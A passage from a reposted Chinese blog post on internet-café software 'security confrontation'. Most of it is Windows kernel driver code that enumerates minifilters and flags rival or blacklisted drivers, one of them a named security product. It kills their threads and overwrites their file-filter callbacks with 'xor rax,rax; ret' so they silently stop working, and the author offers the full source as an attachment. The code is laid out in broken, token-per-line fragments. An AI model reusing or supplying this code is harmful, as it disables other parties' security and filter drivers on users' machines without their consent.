if
(pPreOrPostCall && MmIsAddressValid(pPreOrPostCall))
                    
{
                        
KdPrint((
"minifilter函数地址:0x%p\r\n"
, pPreOrPostCall));
                        
if
(FindModuleByAddress(pSysModuleList, (
ULONG_PTR
)pPreOrPostCall,
                            
szDriverPath, &ulBase, &ulSize))
                        
{
                            
KdPrint((
"Driver is:%s\r\n"
, szDriverPath));
                            
nKillOrSuspendThread = pnKillCallback = 0;
                            
if
(IsBlackDriver(ulBase, ulSize, szDriverPath, &nKillOrSuspendThread, &pnKillCallback))
                            
{
                                
KdPrint((
"Check Minifilter IsBlackDriver:%s,base:0x%p,size::0x%p\r\n"
,
                                    
szDriverPath, (
PVOID
)ulBase, (
PVOID
)ulSize));
                                
if
(nKillOrSuspendThread & NormalKill)
                                    
KillDriverAllThreadByCallBack(pSysModuleList, pPreOrPostCall, szDriverPath);
                                
if
(nKillOrSuspendThread & SpecialKill) 
//某清x卫士
                                    
KillDummyDriverAllThreadByCallBack(pSysModuleList, pPreOrPostCall, 
"pci.sys"
);
                                
if
(pnKillCallback & KillMinifilter)
                                
{
                                    
//此方法摘除钩子后,钩子还可以正常使用,只不过PCHunter显示已经摘除
                                    
//pFltOperationRegistration->PreOperation = NULL;
                                    
//pFltOperationRegistration->PostOperation = NULL;
                                    
//Patch
                                    
char
szPatchCode[4] = { 0x48,0x31,0xc0,0xc3 }; 
//xor rax,rax; ret
                                    
if
(pFltOperationRegistration->PreOperation)
                                        
SafeCopyMemory(pFltOperationRegistration->PreOperation, szPatchCode, 4);
                                    
if
(pFltOperationRegistration->PostOperation)
                                        
SafeCopyMemory(pFltOperationRegistration->PostOperation, szPatchCode, 4);
                                    
KdPrint((
"Remove FileNotify Success\r\n"
));
                                
}
                            
}
                        
}
                    
}
                
}
                
// 获取下一个消息回调信息
                
pFltOperationRegistration = (PFLT_OPERATION_REGISTRATION)((
PUCHAR
)pFltOperationRegistration + 
sizeof
(FLT_OPERATION_REGISTRATION));
            
}
            
//DbgPrint("-------------------------------------------------------------------------------\n");
        
}
        
__except (EXCEPTION_EXECUTE_HANDLER)
        
{
            
KdPrint((
"[2_EXCEPTION_EXECUTE_HANDLER]\n"
));
        
}
        
FltObjectDereference(ppFilterList[i]); 
//记得一定要加此函数,否则卸载驱动会卡死
    
}
}
__except (EXCEPTION_EXECUTE_HANDLER)
{
    
KdPrint((
"[1_EXCEPTION_EXECUTE_HANDLER]\n"
));
}

上述代码,先调用FltEnumerateFilters获取ppFilterList和ulFilterListSize,然后遍历Minifilter中各个过滤器Filter的信息,最后Patch。

总结:

虽然网吧业务竞争激烈,我们的软件仍然脱颖而出,成功对抗上十款竞品。相关代码已经给出,附件也有代码。

后面有时间,我还会发相关的帖子,比如怎么把对抗业务的防御更上一层楼,谢谢大家!

标签: 安全

本文转载自: https://blog.csdn.net/q2919761440/article/details/141869082
版权归原作者 q2919761440 所有, 如有侵权,请联系我们删除。

“网吧业务安全对抗(有源码)”的评论:

还没有评论